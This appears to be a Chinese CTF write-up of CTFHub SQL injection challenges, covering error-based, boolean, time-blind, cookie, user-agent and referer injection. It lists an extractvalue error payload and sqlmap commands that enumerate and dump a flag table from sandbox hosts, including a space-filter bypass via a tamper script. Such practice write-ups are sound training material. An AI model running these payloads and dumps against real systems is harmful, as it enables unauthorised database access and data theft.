整数型注入

看到源码了,直接sql一套秒了

字符型注入


SQL 报错注入

构造payload
1 and (select extractvalue(1,concat('~',(select database()))))
后续步骤跟sql基本步骤一样

SQL 布尔注入

人工测试太麻烦,这里直接使用sqlmap,知道这有sql注入漏洞,就省去扫描步骤了。
先查看当前数据库 --sqli
sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch --current-db

再查看表
sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch -D 'sqli' --tables

查看flag表中的字段
sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch -D 'sqli' -T 'flag' --columns

查看flag字段下的内容,找到flag
sqlmap -u 'http://challenge-3fe138f1ff2d9eae.sandbox.ctfhub.com:10800/?id=2' -batch -D 'sqli' -T 'flag' -C 'flag' --dump

时间盲注
sqlmap步骤同上面一样

MySQL结构
步骤一样,只是换了个位置

Cookie注入
就是在cookie处进行sql注入,一般cookie处会有暗示

将抓包信息保存在txt文件中,然后在cookie处的id=1处加个*号,即改成
id=1*
指定cookie查询
sqlmap -r temp.txt -batch

发现存在cookie注入,然后就是与上述步骤相似
sqlmap -r temp.txt -batch --dbs
...

UA注入
refer注入的特征就是抓包后发现缺少refer头部,然后在refer处进行sql漏洞注入。
注意:直接扫描漏洞需要level 3及以上才会查询文件头(UA,refer等)
sqlmap -u 'http://xxx.com' -level 3
这道题:
sqlmap -u 'http://challenge-3cf6a5a75d4ca322.sandbox.ctfhub.com:10800/' -level 3 -batch

发现ua注入,剩下的步骤同上
...
sqlmap -u 'http://challenge-3cf6a5a75d4ca322.sandbox.ctfhub.com:10800/' -level 3 -batch -D 'sqli' -T 'vjzangmqpt' --dump

Refer注入
步骤同上

强调:如果直接检查时间太长,可以抓包放进txt文件,在对应的地方注入然后打个标记,然后用文件扫描。
过滤空格
sqlmap -u 'http://challenge-922c2f9d7e288e20.sandbox.ctfhub.com:10800?id=1' --tamper space2comment.py -batch --dbs
